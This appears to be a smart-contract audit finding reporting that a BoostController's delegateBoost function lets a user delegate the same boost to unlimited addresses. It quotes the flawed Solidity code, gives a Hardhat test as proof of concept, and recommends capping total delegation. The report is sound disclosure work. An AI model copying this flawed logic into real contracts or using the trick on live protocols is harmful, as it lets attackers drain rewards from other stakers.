Summary
In BoostController users have the option to delegate their boost to another user. The problem is they can delegate to an unlimited amount of different addresses. A user could create several different addresses and delegate boost to themselves.
Vulnerability Details
Users have the ability to delegate their boost amount through the delegateBoost function in the BoostController. A problem arise due to the fact that the user can delegate an unlimited amount. The only check is that they have not already delegated to the address. An attacker could create several addresses and continuously delegate their boost amount to each of these addresses. They would then receive significantly more rewards than intended.
* @notice Delegates boost from caller to another address
* @param to Address to delegate boost to
* @param amount Amount of boost to delegate
* @param duration Duration of the delegation in seconds
* @dev Requires sufficient veToken balance and no existing delegation
*/
function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION)
revert InvalidDelegationDuration();
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}
POC
The following POC demonstrates delegating the same amount to two different users. The user should only be entitled to delegate the amount they own.
Add the following test to BoostController.test.js and run npx hardhat test test/unit/core/governance/boost/BoostController.test.js
describe("Delegation Unlimited", () => {
it("User can delegate unlimited amount to several different users", async () => {
const amount = ethers.parseEther("500");
const duration = 7 * 24 * 3600;
await expect(
boostController.connect(user1).delegateBoost(user2.address, amount, duration)
).to.emit(boostController, "BoostDelegated")
.withArgs(user1.address, user2.address, amount, duration);
await expect(
boostController.connect(user1).delegateBoost(user3.address, amount, duration)
).to.emit(boostController, "BoostDelegated")
.withArgs(user1.address, user3.address, amount, duration);
const delegation = await boostController.getUserBoost(user1.address, user2.address);
expect(delegation.amount).to.equal(amount);
expect(delegation.delegatedTo).to.equal(user2.address);
const delegation2 = await boostController.getUserBoost(user1.address, user3.address);
expect(delegation2.amount).to.equal(amount);
expect(delegation2.delegatedTo).to.equal(user3.address);
});
});
Tools Used
Manual Review
Recommendations
Only allow the user to delegate the amount of boost they entitled to in total